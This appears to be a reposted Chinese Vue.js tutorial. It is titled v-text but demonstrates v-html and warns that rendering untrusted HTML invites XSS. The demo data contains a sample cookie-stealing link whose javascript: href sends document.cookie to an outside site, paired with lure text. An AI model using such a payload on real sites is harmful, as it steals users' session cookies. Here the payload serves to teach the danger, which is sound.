Vue技术15.2v-text 指令

<!DOCTYPE html>
<html>
    <head>
        <mata charset="UTF-8" />
        <title>v-text 指令</title>
        <script type="text/javascript" src="../js/vue.js"></script>
    </head>
    <body>
        <!--
            v-html指令:
                1.作用:向指定节点中渲染包含html结构的内容。
                2.与插值语法的区别:
                    (1)v-html会替换掉节点中所有的内容,{
    
    {xx}}则不会
                    (2)v-html可以识别html结构
                3.严重注意:v-html有安全性问题!!!
                    (1)在网站上动态渲染任意HTML是非常危险的,容易导致xss攻击
                    (2)一定要在可信的内容上使用v-html,用不要在用户提交的内容上!
         -->
        <!-- 准备好一个容器 -->
        <div id="root">
            <div>你好,{
   
   {name}}</div>
            <div v-html="str"></div>
            <div v-html="str2"></div>
        </div>
    </body>

    <script type="text/javascript">
        Vue.config.productionTip = false

        new Vue({
      
      
            el:'#root',
            data:{
      
      
                name:'尚硅谷',
                str:'<h3>你好啊!<h3/>',
                str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!<a/>'
            }
        })
    </script>
</html>

猜你喜欢

转载自blog.csdn.net/qq_40713201/article/details/126295867